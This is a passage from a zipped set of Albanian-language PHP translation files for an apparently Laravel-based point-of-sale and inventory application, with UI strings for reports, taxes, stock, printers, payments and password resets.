e duhur', 'customer' => 'Klientët', 'supplier' => 'Furnizuesit', 'total_due' => 'Për shkak', 'contacts' => 'Furnizuesi & Raporti i Klientit', 'contact' => 'Kontakt', 'stock_report' => 'Raporti i aksioneve', 'products' => 'Produktet', 'current_stock' => 'Gjendja aktuale', 'total_unit_sold' => 'Gjithsej shitur njësi', 'tax_report' => 'Raporti i Taksave', 'tax_report_msg' => 'Detajet e tatimeve për datën e caktuar', 'input_tax' => 'Input Tax', 'output_tax' => 'Tatimi i prodhimit', 'tax_overall' => 'Në përgjithësi (Input - Output)', 'input_tax_minus_output_tax' => 'Input Tax - Output Tax', 'trending_products' => 'Produkte Trendi', 'apply_filters' => 'Aplikoni Filtra', 'filters' => 'Filters', 'expense_report' => 'Raporti i shpenzimeve', 'total_expense' => 'Shpenzimi total', 'others' => 'Të tjerët', 'all' => 'Të gjithë', 'top_trending_products' => 'Produktet me prirje të lartë', 'all_locations' => 'Të gjitha vendet', 'stock_adjustment_report' => 'Raporti i rregullimit të stoqeve', 'total_stock_adjustment' => 'Rregullimi total i aksioneve', 'total_recovered' => 'Shuma totale e rikuperuar', 'total_normal' => 'Gjithsej Normal', 'total_abnormal' => 'Gjithsej i parregullt', 'register_report' => 'Regjistro Raportin', 'open_time' => 'Koha e hapur', 'close_time' => 'Koha e afërt', 'user' => 'User', 'all_users' => 'Te gjithe perdoruesit', 'sales_representative' => 'Raporti i Përfaqësuesit të Shitjes', 'sales_representative_expenses' => 'Të gjitha shpenzimet që lidhen me përfaqësuesin e shitjes', 'summary' => 'Përmbledhje', 'date_range' => 'Data Range', 'stock_expiry_report' => 'Raporti i skadencës së aksioneve', 'stock_left' => 'Stock Left', 'expired' => 'Skaduar', 'view_stocks' => 'Shikoni stoqet', 'expiring_in_1_week' => 'Duke kaluar në një javë', 'expiring_in_15_days' => 'Duke kaluar në 15 ditë', 'expiring_in_1_month' => 'Duke kaluar në një muaj', 'expiring_in_3_months' => 'Duke kaluar në 3 muaj', 'expiring_in_6_months' => 'Afati në 6 muaj', 'expiring_in_1_year' => 'Duke kaluar në një vit', 'profit_loss' => 'Raporti i Fitimit / Humbjes', 'opening_stock' => 'Hapja e stoqeve', 'closing_stock' => 'Mbarimi i aksioneve', 'total_expense' => 'Shpenzimi total', 'net_profit' => 'Fitimi neto', 'total_stock_adjustment' => 'Rregullimi total i aksioneve', 'total_stock_recovered' => 'Totali i Shpërndarjes së Aseteve', ]; PK G �ZU`��H H sq/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Fjalëkalimet duhet të jenë gjashtë karaktere dhe të përputhen me konfirmimin.', 'reset' => 'Fjalëkalimi u ndryshua!', 'sent' => 'Adresa për ndryshimin e fjalëkalimit u dërgua!', 'token' => 'Ky tallon për ndryshimin e fjalëkalimit është i pasaktë.', 'user' => 'Nuk mund të gjejmë një përdorues me atë adres email-i.', ]; PK G �ZC�i�� � sq/unit.phpnu �[��� <?php return [ 'units' => 'Njësitë', 'manage_your_units' => 'Menaxhoni njësitë tuaja', 'all_your_units' => 'Të gjitha njësitë tuaja', 'name' => 'Emri', 'short_name' => 'Emer i shkurter', 'allow_decimal' => 'Lejo decimal', 'added_success' => 'Njësia u shtua me sukses', 'updated_success' => 'Njësia u përditësua me sukses', 'deleted_success' => 'Njësia fshihet me sukses', 'add_unit' => 'Shto njësi', 'edit_unit' => 'Edit Njësia', ]; PK G �Z �R R sq/printer.phpnu �[��� <?php return [ 'printers' => 'Printers', 'add_printer' => 'Shto printer', 'name' => 'Emri i printerit', 'connection_type' => 'Lloji i lidhjes', 'capability_profile' => 'Profili i aftësive', 'ip_address' => 'Adresa IP', 'port' => 'Port', 'path' => 'Rrugë', 'added_success' => 'Printeri u shtua me sukses', 'manage_your_printers' => 'Menaxhoni printuesit tuaj', 'all_your_printer' => 'Të gjithë printerët e konfiguruar', 'deleted_success' => 'Printer u fshi me sukses', 'edit_printer_setting' => 'Ndrysho konfigurimin e printerit', 'receipt_printers' => 'Printera të Marrjes', 'character_per_line' => 'Figurë për rresht', 'printer_name' => 'Emri i printerit', 'updated_success' => 'Printer u rifreskua me sukses', 'edit_printer' => 'Edit Printer', ]; PK G �Z��}�K K sq/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Aktivizo çmimin e redaktimit të produktit nga ekrani i blerjes', 'sales_commission_agent' => 'Agjent i Komisionit të Shitjes', 'sales_commission_agents' => 'Agjentët e Komisionit të Shitjes', 'disable' => 'Disable', 'logged_in_user' => 'Përdorues i regjistruar', 'select_from_users_list' => 'Zgjidh nga lista e përdoruesit', 'select_from_commisssion_agents_list' => 'Zgjidh nga lista e agjentit të komisionit', 'add_sales_commission_agent' => 'Shto agjentin e komisionit të shitjeve', 'commission_agent_added_success' => 'Agjentja e Komisionit shtoi me sukses', 'edit_sales_commission_agent' => 'Ndrysho agjentin e komisionit të shitjes', 'commission_agent_updated_success' => 'Agjenti i Komisionit është përditësuar me sukses', 'commission_agent_deleted_success' => 'Agjenti i Komisionit u fshi me sukses', 'contact_no' => 'Kontakti Nr', 'commission_agent' => 'Agjent i Komisionit', 'cmmsn_percent' => 'Komisioni i Shitjes Përqindja (%)', 'sales_added' => 'Shitjet e shtuara', 'sales_with_commission' => 'Shitjet me Komisionin', //"total_sale_with_commission" => "Shitje totale me komision", 'total_sale_commission' => 'Komisioni Gjithsej Shitje', 'sales_item_addition_method' => 'Metoda e shtimit të artikullit të shitjes', 'add_item_in_new_row' => 'Shto artikull në rresht të ri', 'increase_item_qty' => 'Rrit numrin e artikullit nëse ekziston', 'stock_transfers' => 'Transferet e stoqeve', 'all_stock_transfers' => 'Të gjitha transferimet e stoqeve', 'add_stock_transfer' => 'Add Transfer Stock', 'list_stock_transfers' => 'Lista e Transfereve të Aseteve', 'location_from' => 'Vendndodhja (nga)', 'location_to' => 'Vendndodhja (Për)', 'shipping_charges' => 'Akuzat e Transportit', 'stock_transfer_added_successfully' => 'Transferimi i stokut u shtua me sukses', 'stock_transfer_delete_success' => 'Transferimi i aksioneve hiqet me sukses', 'stock_transfer_cannot_be_deleted' => 'Ky transferim i aksioneve nuk mund të fshihet pasi disa nga stoqet tashmë janë shitur', 'total_transfer_shipping_charges' => 'Pagesat totale të transportit të transportit', 'enable_inline_tax' => 'Aktivizo taksën inline në blerjen dhe shitjen', 'save_n_add_opening_stock' => 'Ruaj & Shto Hapjen e Aksioneve', 'add_opening_stock' => 'Shto Hapjen e Aksioneve', 'opening_stock_added_successfully' => 'Hapja e aksioneve u shtua me sukses', 'update_n_edit_opening_stock' => 'Rifresko dhe ndrysho hapjen e aksioneve', 'total_amount_exc_tax' => 'Shuma totale (taksë eksp.)', 'currency_symbol_placement' => 'Vendosja e simbolit të monedhës', 'before_amount' => 'Para shumës', 'after_amount' => 'Pas shumës', 'barcode_label_error' => 'ID SKU i pambështetur për llojin e barcode të zgjedhur', 'list_products' => 'Lista Produktet', 'list_expenses' => 'Shpenzoni listën', 'add_expiry' => 'Shto skadimin e artikullit', 'add_manufacturing_auto_expiry' => 'Shto datën e prodhimit dhe periudhën e skadimit', 'tooltip_enable_expiry' => 'Aktivizo skadimin e produktit.<br/> <br/><b>Shto skadimin e artikullit</b>: Të shtoni direkt skadimin e artikullit. <br/> <b>Shto datën e prodhimit dhe periudhën e skadimit</b>: Për të shtuar datën e prodhimit dhe periudhën e skadimit dhe llogaritur datën e skadimit në bazë të kësaj.', 'quantity' => 'sasi', 'on_product_expiry' => 'Për skadimin e produktit', 'keep_selling' => 'Mbani Shitjen', 'stop_selling' => 'Ndalo Shitja n ditë më parë', 'tooltip_on_product_expiry' => 'Specifikoni veprimin që duhet bërë për skadimin e produktit.<br><br> <b>Mbani Shitjen</b>: Produktet do të mbahen edhe në shitje pas skadimit.<br> <b>Ndalo shitjen</b>: Ndalo shitjen e artikullit n ditë para skadimit.', 'output_tax_minus_input_tax' => 'Tatimi në dalje - Tatimi i hyrjes', 'total_purchase_discount' => 'Shuma totale e blerjes', 'total_sell_discount' => 'Shuma totale zbritje', 'updated_succesfully' => 'Rifreskohet me sukses', 'default_unit' => 'Njësia Default', 'enable_brand' => 'Aktivizo markat', 'enable_category' => 'Aktivizo Kategoritë', 'enable_sub_category' => 'Aktivizo nën-kategoritë', 'enable_price_tax' => 'Aktivizo info mbi çmimin dhe taksën', 'enable_purchase_status' => 'Aktivizo statusin e blerjes', 'tooltip_enable_purchase_status' => 'Për të çaktivizuar të gjitha blerjet do të shënohet si <i> Artikujt e marrë </i>', 'recent_product_quantity' => 'Shko tek sasia e produktit', 'full_screen' => 'Ekran i plotë', 'Uncategorised' => 'Pakategorizueme', 'no_products_to_display' => "Asnjë produkt për t'u shfaqur", 'item_out_of_stock' => 'Produkt jashtë magazinës', 'go_back' => 'Kthehu mbrapa', 'disable_pay_checkout' => 'Disable pay & checkout', 'disable_draft' => 'Disable Draft', 'disable_express_checkout' => 'Çaktivizo arkivimin e shpejtë', 'hide_product_suggestion' => 'Mos trego sugjerimin e produktit', 'hide_recent_trans' => 'Mos tregoni transaksione të kohëve të fundit', 'pos_settings' => 'Cilësimet POS', 'disable_discount' => 'Çaktivizo zbritje', 'disable_order_tax' => 'Çaktivizo taksën e porosisë', 'customer_groups' => 'Grupet e Konsumatorëve', 'customer_group' => 'Grupi i Konsumatorëve', 'all_your_customer_groups' => 'Të gjitha grupet e konsumatorëve', 'add_customer_group' => 'Shto Grupin e Konsumatorëve', 'customer_group_name' => 'Emri i Grupit të Klientit', 'calculation_percentage' => 'Përqindja e llogaritjes (%)', 'tooltip_calculation_percentage' => '<b> Çmimi i shitjes = Çmimi i shitjes Për Për produktin + Përqindja e llogaritjes </b> <br/> <br/> Ju mund të specifikoni përqindjen si pozitive për të rritur dhe negtive për të ulur çmimin e shitjes.', 'success' => 'Sukses', 'edit_customer_group' => 'Edit Customer Group', 'customer_groups_report' => 'Raporti i grupeve të klientëve', 'none' => 'Asnje', 'enable_imei_or_sr_no' => 'Aktivizo IMEI ose numrin Serial', 'tooltip_sr_no' => 'Aktivizo ose çaktivizo shtimin e produktit IMEI ose numrin Serial duke shtuar produkte në POS ekran', 'description' => 'Përshkrim', 'sell_line_description_help' => 'Shtoni produktin IMEI, numrin serial ose informacione të tjera këtu.', 'unit_cost_before_discount' => 'Kosto njësie (para zbritjes)', 'discount_percent' => 'Përqindja e zbritjes', 'application_tour' => 'Aplikacion Tour', 'profile' => 'Profili', 'sign_out' => 'Dilni', 'my_profile' => 'Profili im', 'Admin' => 'Admin', 'Cashier' => 'Arka', 'both_supplier_customer' => 'Të dy (Furnizuesi & Klienti)', 'months' => 'Muaj', 'days' => 'Ditët', 'suppliers' => 'Furnizuesit', 'customers' => 'Klientët', 'enter_product_name_to_print_labels' => 'Fut emrin e produkteve për të shtypur etiketat', 'manage_product_variations' => 'Menaxho variacionet e produktit', 'all_variations' => 'Të gjitha variacionet', 'values' => 'Vlerat', 'add_variation' => 'Shto variacion', 'variation_name' => 'Emri i variacionit', 'add_variation_values' => 'Shto vlera ndryshimi', 'edit_variation' => 'Ndrysho ndryshimin', 'received' => 'Marrë', 'pending' => 'Në pritje', 'ordered' => 'Urdhërohet', 'search_product_placeholder' => 'Shkruani emrin e produktit / SKU / Kodi i shiritit të skanimit', 'fixed' => 'Fikse', 'percentage' => 'Përqindja', 'select_location' => 'Zgjidh vendndodhjen', 'add_description' => 'Shto një përshkrim', 'cash' => 'Cash', 'card' => 'Card', 'cheque' => 'Kontrollo', 'bank_transfer' => 'Transferte bankare', 'other' => 'Të tjera', 'payment' => 'Pagesa', 'total_items' => 'Total items', 'total_paying' => 'Gjithsej Pagesa', 'balance' => 'Bilanci', 'payment_method' => 'Metoda e pagesës', 'card_no' => 'Numri i kartes', 'card_holder_name' => 'Emri i Mbajtesittekartes', 'card_transaction_no' => 'Numri i Transaksionit të Kartelës', 'card_type' => 'Lloji i kartelës', 'month' => 'Muaj', 'year' => 'Viti', 'security_code' => 'Kodi i Sigurisë', 'cheque_no' => 'Kontrollo numrin', 'bank_account_number' => 'Jo llogari bankare', 'paid' => 'Paid', 'due' => 'Për shkak', 'partial' => 'I pjesshëm', 'no_of_products' => 'Numri i produkteve', 'select_a_date_range' => 'Zgjidh një sërë data', 'shortcut_help' => "Shkurtesat duhet të jenë emrat e çelësave të ndara nga '+'", 'example' => 'Shembull', 'available_key_names_are' => 'Emrat e emrave në dispozicion janë', 'add_new_product' => 'Shto produkt të ri', 'invoice_logo_help' => 'Maks :max_size, jpeg, gif, formatet png vetëm.', 'invoice_logo_help2' => 'Ngarko vetëm nëse dëshiron të zëvendësosh logon e mëparshme', 'printer_name_help' => 'Emri i shkurtër përshkrues për të njohur printerin', 'char_per_line_help' => 'Numri i karakterit që mund të shtypet në linjë', 'ip_address_help' => 'Adresa IP për lidhjen me printerin', 'port_help' => 'Shumica e printerave punon në portin 9100', 'combination_of_taxes' => 'Kombinimi i taksave të shumëfishta', 'product_purchase_report' => 'Raporti i Blerjes së Produkteve', 'unit_perchase_price' => 'Njësia e çmimit të blerjes', 'search_product' => 'Produkt Kërkimi', 'product_sell_report' => 'Raporti i shitjes së produkteve', 'unit_sale_price' => 'Çmimi i njësisë së shitjes', 'contact_id' => 'Kontakt ID', 'category_code_help' => 'Kodi i kategorisë është i njëjtë me <b> kodin HSN </b>', 'sub_heading_line' => 'Nën Linja Drejtuese :_number_', 'date_label' => 'Etiketa e datës', 'client_id_label' => 'Etiketa e ID klientit', 'product_label' => 'Etiketa e Produktit', 'qty_label' => 'Sasia e etiketës', 'unit_price_label' => 'Etiketa e çmimit të njësisë', 'subtotal_label' => 'Nëntotale Etiketë', 'product_details_to_be_shown' => "Detaje të produktit për t'u shfaqur", 'show_brand' => 'Trego markën', 'show_sku' => 'Shfaq SKU', 'show_cat_code' => 'Trego kodin e kategorisë', 'show_client_id' => 'Trego ID-në e klientit', 'show_time_with_date' => 'Shfaq kohën me datën', 'show_sale_description' => 'Trego përshkrimin e shitjes', 'product_imei_or_sn' => '(Produkt IMEI ose Serial Number)', 'purchase_already_exist' => 'Produkti nuk mund të fshihet sepse ekzistojnë blerjet që lidhen me këtë produkt', 'opening_stock_sold' => 'Produkti nuk mund të fshihet sepse disa aksione janë shitur', 'stock_adjusted' => 'Produkti nuk mund të fshihet pasi disa aksione janë të rregulluara', 'product_delete_success' => 'Produkti fshihet me sukses', 'manage_products' => 'Menaxho produktet e tua', 'all_products' => 'Të gjitha produktet', 'login' => 'Identifikohu', 'register' => 'Regjistrohu', 'username' => 'Emri i përdoruesit', 'password' => 'Password', 'remember_me' => 'Më kujto', 'forgot_your_password' => 'Keni harruar fjalëkalimin tuaj?', 'reset_password' => 'Rivendosni fjalëkalimin', 'email_address' => 'Adresa E-Mail', 'send_password_reset_link' => 'Dërgo Lidhjen e Lidhjes me Fjalëkalim', 'instructions' => 'Udhëzimet', 'instruction_line1' => 'Ndiqni me kujdes udhëzimet përpara se të importoni skedarin.', 'instruction_line2' => 'Kolonat e dosjes CSV duhet të jenë në rendin e mëposhtëm.', 'col_no' => 'Numri i kolonës', 'col_name' => 'Emri i kolonës', 'instruction' => 'Udhëzimi', 'required' => 'Kërkohet', 'optional' => 'Optional', 'name_ins' => 'Emri i produktit', 'brand_ins' => 'Emri i markës', 'brand_ins2' => 'Nëse nuk gjendet marka e re me emrin e dhënë do të krijohet', 'unit_ins' => 'Emri i njësisë', 'category_ins' => 'Emri i Kategorisë', 'category_ins2' => 'Nëse nuk gjendet kategoria e re me emrin e dhënë do të krijohet', 'sub_category_ins' => 'Emri i nënkategorisë', 'sub_category_ins2' => 'Nëse nuk gjendet një nënkategorinë e re me emrin e dhënë nën kategorinë prind> prind do të krijohet', 'sku_ins' => 'SKU e produktit Nëse bosh një SKU do të gjenerohet automatikisht', 'barcode_type_ins' => 'Barcode Lloji për produktin.', 'barcode_type_ins2' => 'Aktualisht e mbështetur', 'default' => 'Default', 'manage_stock_ins' => 'Aktivizo apo çaktivizo menaxhuesin e aksioneve', 'alert_qty_ins' => 'Kërkohet nëse Manage Stock është 1', 'expires_in_ins' => 'Periudha e skadimit të produktit (Vetëm në numër)', 'expire_period_unit' => 'Njësia e periudhës së skadimit', 'available_options' => 'Opsionet e disponueshme', 'expire_period_unit_ins' => 'Njësia për periudhën e skadimit', 'applicable_tax_ins' => 'Emri i normës tatimore', 'variation_name_ins' => 'Kërkohet nëse tipi i produktit është i ndryshueshëm', 'variation_name_ins2' => 'Emri i variacionit (Ex: Madhësia, Ngjyra etj)', 'variation_values_ins' => 'Kërkohet nëse tipi i produktit është i ndryshueshëm', 'variation_values_ins2' => "Vlerat për ndryshimin e ndara me '|' <br> (Ex: Red | Blue | Green) ", 'purchase_price_inc_tax' => 'Çmimi i blerjes (duke përfshirë taksën)', 'purchase_price_inc_tax_ins1' => 'Kërkohet nëse çmimi i blerjes nuk përfshin tatimin', 'purchase_price_inc_tax_ins2' => "Çmimi i blerjes (përfshirë tatimin) (Vetëm në numër) <br> <br> Për produktet e ndryshueshme '|' vlera të ndara me <br> të njëjtin rend si vlerat e variacioneve (<br> 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'Çmimi i Blerjes (duke përjashtuar Tatimin)', 'purchase_price_exc_tax_ins1' => 'Kërkohet nëse Çmimi i Blerjes duke përfshirë Tatimin nuk jepet', 'purchase_price_exc_tax_ins2' => "Çmimi i blerjes (përjashtuar tatimin) (Vetëm në numër) <br> <br> Për produktet e ndryshueshme '|' vlera të ndara me <br> të njëjtin rend si vlerat e variacioneve (<br> 84 | 85 | 88) ", 'profit_margin_ins' => 'Margjina e Fitimit (Vetëm në Numër)', 'profit_margin_ins1' => 'Nëse do të përdoret bosh defiçiti i paracaktuar i fitimit për biznesin e biznesit', 'selling_price' => 'Çmimi i shitjes', 'selling_price_ins' => 'Çmimi i shitjes (Vetëm në numër)', 'selling_price_ins1' => 'Nëse çmimi i shitjes bosh do të llogaritet me çmimin e blerjes së caktuar <br> dhe tatimi në fuqi', 'opening_stock' => 'Hapja e stoqeve', 'opening_stock_ins' => 'Hapja e stoqeve (Vetëm në numër)', 'only_applicable_to_single_product' => 'Vlen vetëm për një produkt të vetëm', 'purchase_delete_success' => 'Blerja fshihet me sukses', 'location_ins' => 'Nëse do të përdoret bosh vendndodhja e biznesit të parë', 'location_ins1' => 'Emri i lokacionit të biznesit', 'expiry_date' => 'Data e skadimit', 'expiry_date_ins' => 'Data e skadimit të aksioneve <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Aktivizo numrin e Lotit', 'tooltip_enable_lot_number' => "Kjo do t'ju mundësojë të futni numrin e Lotit ndërsa për çdo linjë të blerjes në ekranin e blerjes", 'lot_number' => 'Shume numra', 'enable_racks' => 'Aktivizo rafte', 'tooltip_enable_racks' => 'Aktivizo këtë për të shtuar detajet e rafteve të një produkti për lokacione të ndryshme të biznesit duke shtuar produkte', 'rack_details' => 'Detajet e Rack', 'tooltip_rack_details' => 'Futni detajet se ku produkti është mbajtur në dyqan, për lokacione të ndryshme të biznesit.', 'updated_success' => 'Rifreskohet me sukses', 'added_success' => 'Shtuar me sukses', 'deleted_success' => 'Deletuar me sukses', 'enable_disable_modules' => 'Aktivizo / çaktivizo modulet', 'opening_stock_help_text' => "<br><br>Për produktet variabile sasi të ndara të aksioneve me '|'<br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>Nëse çmimi i blerjes (përjashtuar tatimin) nuk është i njëjtë si <br/>Çmimi i blerjes (përfshirë taksën) <br/>atëherë duhet të jepni emrin e normës së tatimit.', 'sale_delete_success' => 'Shitja fshihet me sukses', 'click_to_edit' => 'Kliko për të redaktuar', 'click_to_delete' => 'Kliko për të fshirë', 'quotation_heading' => 'Kreu i kuotimit', 'quotation' => 'Citat', 'quotation_no_prefix' => 'Kuotimi nr. etiketë', 'tooltip_quotation_heading' => 'Kuotimi ose vlerësimi i titullit përdoret duke u ofruar kuotimin klientëve.', 'quotation_added' => 'Citimi u shtua me sukses', 'quotation_updated' => 'Citimi është përditësuar me sukses', 'product_sold_details_register' => 'Detajet e produkteve të shitura', 'grand_total' => 'Grand Total', 'change_return' => 'Ndrysho kthimin', 'date_format' => 'Formati i datës', 'time_format' => 'Formati i kohës', '12_hour' => '12 Orë', '24_hour' => '24 Orë', 'list_quotations' => 'Listoni kuotimet', 'list_drafts' => 'Harton listën', 'you_cannot_delete_this_contact' => 'Nuk mund të fshihet kontakti - Transaksionet tashmë ekzistojnë për kontaktin.', 'enable_row' => 'Aktivizo rreshtin', 'enable_position' => 'Aktivizo pozicionin', 'rack' => 'Rack', 'row' => 'Row', 'position' => 'Pozita', 'weight' => 'Pesha', 'rack_help_text' => "Detajet e rafteve të ndara nga '|' për vende të ndryshme biznesi seriozisht. <br/> (Ex: R1 | R5 | R12) ", 'row_help_text' => "Detajet e rreshtit të ndara nga '|' për vende të ndryshme të biznesit seriozisht. <br/> (Ex: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Detajet e pozicionit të ndara nga '|' për vende të ndryshme biznesi seriozisht. <br/> (Ex: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Hapja e Hapjes së Importit', 'tooltip_import_opening_stock' => 'Ky tipar përdoret për të importuar aksione të hapura të produkteve të shtuara. Nëse produktet nuk shtohen në sistem atëherë këshillohet të përdoren produkte të importit për të shtuar detajet e produktit me stokun e hapjes.', 'design' => 'Projektimi', 'express_checkout_cash' => 'Cash', 'express_checkout_card' => 'Card', 'checkout_multi_pay' => 'Pagesa e shumëfishtë', 'tooltip_checkout_multi_pay' => 'Checkout duke përdorur metoda të shumta pagese', 'tooltip_express_checkout_card' => 'Arka e Expressit duke përdorur kartelën', 'card_transaction_details' => 'Detajet e transaksionit të kartave', 'client_tax_label' => 'Etiketa e numrit tatimor të klientit', 'cat_code_label' => 'Kategori ose etiketë kodesh HSN', 'list_sell_return' => 'List Shitet Kthim', 'sell_return' => 'Shitet kthimin', 'layout_credit_note' => 'Shënim i kredisë / Shitni Detajet e Kthimit', 'cn_heading' => 'Kreu', 'cn_no_label' => 'Numri i referencës', 'cn_amount_label' => 'Shuma Totale', 'custom_field' => 'Fusha e personalizuar :number', 'website' => 'Website', 'total_credit_amt' => 'Shuma totale e kredisë', 'unit_sell_price' => 'Njësia Shitet Çmimi', 'prefixes' => 'Prefikset', 'purchase_order' => 'Urdhër blerjeje', 'stock_transfer' => 'Transferimi i stoqeve', 'purchase_payment' => 'Pagesa Blerje', 'sell_payment' => 'Shitet Pagesa', 'location_id' => 'ID vendndodhjen', 'add_edit_opening_stock' => 'Shto ose ndrysho stokun e hapjes', 'expiry_date_will_be_changed_in_pl' => 'Data e skadimit të linjës së blerjes do të ndryshohet', 'remove_from_stock' => 'Hiq nga magazina', 'stock_removed_successfully' => 'Stock u hoq me sukses', 'product_image' => 'Imazhi i produktit', 'aspect_ratio_should_be_1_1' => 'Raporti i pamjes duhet të jetë 1: 1', 'previous_image_will_be_replaced' => 'Imazhi i ngarkuar më parë do të zëvendësohet', 'all_category' => 'Të gjitha kategoritë', 'all_brands' => 'Të gjitha markat', 'backup' => 'rezervë', 'download_complete_backup' => 'Shkarko backup të plotë', 'backup_doesnt_exist' => 'Backup Nuk ekziston', 'lot_report' => 'Raport Lot', 'purchase_payment_report' => 'Blerja e Raportit të Pagesave', 'paid_on' => 'Paguhet', 'purchase' => 'blerje', 'cheque_no' => 'Kontrollo Nr.', 'card_transaction_no' => 'Nr i Transaksionit të Kartelës', 'bank_account_no' => 'Llogaria e Bankës Nr.', 'sell_payment_report' => 'Shitet Raportin e Pagesave', 'restaurant' => 'Restorant', 'user_type' => 'Lloji i përdoruesit', 'product_custom_field1' => 'Fusha e personalizuar1', 'product_custom_field2' => 'Custom Field2', 'product_custom_field3' => 'Fusha Custom3', 'product_custom_field4' => 'Fusha Custom4', 'image' => 'imazh', 'image_help_text' => 'Emri i imazhit me zgjatje.<br/> (Emri i imazhit duhet të jetë i ngarkuar në server: rruga )', 'tooltip_kitchen' => 'Ky është ekrani i kuzhinës. Këtu detajet e rendit mund të shihen dhe urdhrat mund të shënohen të gatuara.', 'tooltip_serviceorder' => 'Ky është ekrani i stafit të shërbimit. Shtabi i Shërbimit mund të përdorë këtë ekran për të parë të gjitha urdhrat për ta dhe për të shënuar rendin siç shërbehet.', 'sales_person_label' => 'Etiketa e shitësit', 'show_sales_person' => 'Trego Shitjen Person', 'decimal_value_not_allowed' => 'Vlera dhjetore nuk lejohet', 'theme_color' => 'Ngjyra e ngjyrave', 'quantity_error_msg_in_lot' => 'vetëm :qty :njësi në dispozicion në Lotin e zgjedhur', 'show_product_expiry' => 'Trego skadimin e produktit', 'show_lot_number' => 'Trego numrin e pjesës', 'expiry' => 'skadim', 'lot' => 'shumë', 'lot_n_expiry' => 'shumë dhe skadim', 'pos_edit_product_price_help' => 'Redakto artikullin Çmimi njësi dhe tatimi', 'name' => 'emër', 'payment_type' => 'Lloji i pageses', 'manage_payment_account' => 'Menaxho llogarinë tënde të pagesave', 'all_payments' => 'Të gjitha pagesat', 'payment_note' => 'Shënimi i Pagesës', 'payment_account_deleted_success' => 'Llogaria e pagesës fshihet me sukses', 'payment_account_updated_success' => 'Llogaria e pagesës është përditësuar me sukses', 'payment_gateway' => 'Gateway për pagesë në internet', 'payment_account_success' => 'Llogaria e pagesës është shtuar me sukses', 'payment_account' => 'Llogaria e pagesës', 'tooltip_sell_product_column' => 'Kliko <i>Emri i produktit</i> për të redaktuar çmim, zbritje dhe taksë. <br/>Kliko <i>Icon Koment</i> për të futur numrin serial / IMEI ose shënimin shtesë.<br/><br/>Kliko <i>Modifier ikonë</i>(nëse aktivizohet) për modifikuesit', 'credit_limit' => 'Limiti i kreditit', 'credit_limit_help' => 'Mbajeni bosh për asnjë kufizim', 'cutomer_credit_limit_exeeded' => 'Kufizimi i Klientit Kufizohet <br>:credit_limit', 'custom_payment_1' => 'Pagesë me porosi 1', 'custom_payment_2' => 'Pagesë me porosi 2', 'custom_payment_3' => 'Pagesë me porosi 3', 'transaction_no' => 'Nr i transaksionit', 'file' => 'File', 'size' => 'Size', 'date' => 'Data', 'age' => 'Age', 'create_new_backup' => 'Krijo një kopjim të ri', 'all_sales' => 'Të gjitha shitjet', 'opening_balance' => 'Bilanci i Hapjes', 'opening_balance_due' => 'Hapja e bilancit të duhur', 'import_contacts' => 'Kontaktet e importit', 'contact_type_ins' => '<strong> Opsionet e disponueshme: klient, furnizues dhe të dyja </strong>', 'contact_id_ins' => 'Lëreni bosh për të gjeneruar auto ID të kontaktit', 'required_if_supplier' => 'Kërkohet nëse tipi i kontaktit është furnizues ose të dyja', 'pay_term_period_ins' => 'Mundësitë e disponueshme: ditë dhe muaj', 'your_username_will_be' => 'Emri yt i përdoruesit do të jetë', 'currency_exchange_rate' => 'Kursi i këmbimit valutor', 'select_all' => 'Selektoj të gjitha', 'deselect_all' => 'Deselect all', 'duplicate_product' => 'Produkt i kopjuar', 'delete_selected' => 'Fshi të zgjedhura', 'no_row_selected' => 'Asnjë rresht i zgjedhur', 'duplicate_sell' => 'Duplikoni shitet', 'duplicate_sell_created_successfully' => 'Dupli Shitet i krijuar me sukses', 'modules' => 'Modulet', 'theme' => 'Theme', 'account' => 'Llogaria', 'expense_payment' => 'Pagesa e shpenzimeve', 'expense' => 'Expense', 'disabled_in_demo' => 'Funksioni i çaktivizuar në demo !!', 'selling_price_group' => 'Shitja e Grupit të Çmimeve', 'all_selling_price_group' => 'Gjithë Grupet e Shitjeve të Çmimeve', 'add_selling_price_group' => 'Shto grupin e shitjes së çmimeve', 'edit_selling_price_group' => 'Ndrysho grupin e shitjes së çmimeve', 'access_selling_price_groups' => 'Qasja e grupeve të çmimeve të shitjes', 'save_n_add_selling_price_group_prices' => 'Ruaj & Shto Çmime Shitja-Çmimi', 'add_selling_price_group_prices' => 'Shto ose ndrysho çmimet e grupeve', 'default_selling_price_inc_tax' => 'Default Price Shitja (Inc Tax)', 'variation' => 'Variation', 'price_group' => 'Grupi i Çmimeve', 'group_price' => 'Çmimi i Grupit', 'default_selling_price' => 'Default Price Shitja', 'price_group_help_text' => 'Shitja e Grupit të Çmimeve në të cilin dëshironi të shisni', 'group_prices' => 'Çmimet e Grupit', 'view_group_prices' => 'Shikoni çmimet e grupeve', 'save_n_add_another' => 'Ruaj dhe shtoj një tjetër', 'update_n_add_another' => 'Përditëso dhe shto një tjetër', 'subtotal_editable' => 'Subtotal Editable', 'subtotal_editable_help_text' => 'Kontrolloni këtë për të bërë fushën Subtotal që mund të ndryshohet për çdo produkt në ekranin POS', 'notification_templates' => 'Modelet e Njoftimeve', 'new_sale' => 'Shitje e re', 'payment_reminder' => 'Remider Pagesa', 'payment_received' => 'Pagesa e marrë', 'new_booking' => 'Rezervimet e reja', 'new_order' => 'Rregull i ri', 'payment_paid' => 'Pagesa e paguar', 'items_received' => 'Sendet e marra', 'items_pending' => 'Artikujt në pritje', 'customer_notifications' => 'Njoftimet e Klientit', 'supplier_notifications' => 'Njoftimet e Furnizuesit', 'email_subject' => 'Subjekti i postës elektronike', 'email_body' => 'Trupi i postës elektronike', 'sms_body' => 'SMS Body', 'available_tags' => 'Etiketat në dispozicion', 'send_notification' => 'Dërgo Njoftim', 'new_sale_notification' => 'Njoftimi i Njoftimit të Ri', 'send_email_only' => 'Dërgo vetëm një email', 'send_sms_only' => 'Dërgo vetëm SMS', 'send_both_email_n_sms' => 'Dërgo të dy postës elektronike dhe SMS', 'to' => 'Për', 'mobile_number' => 'Numri i 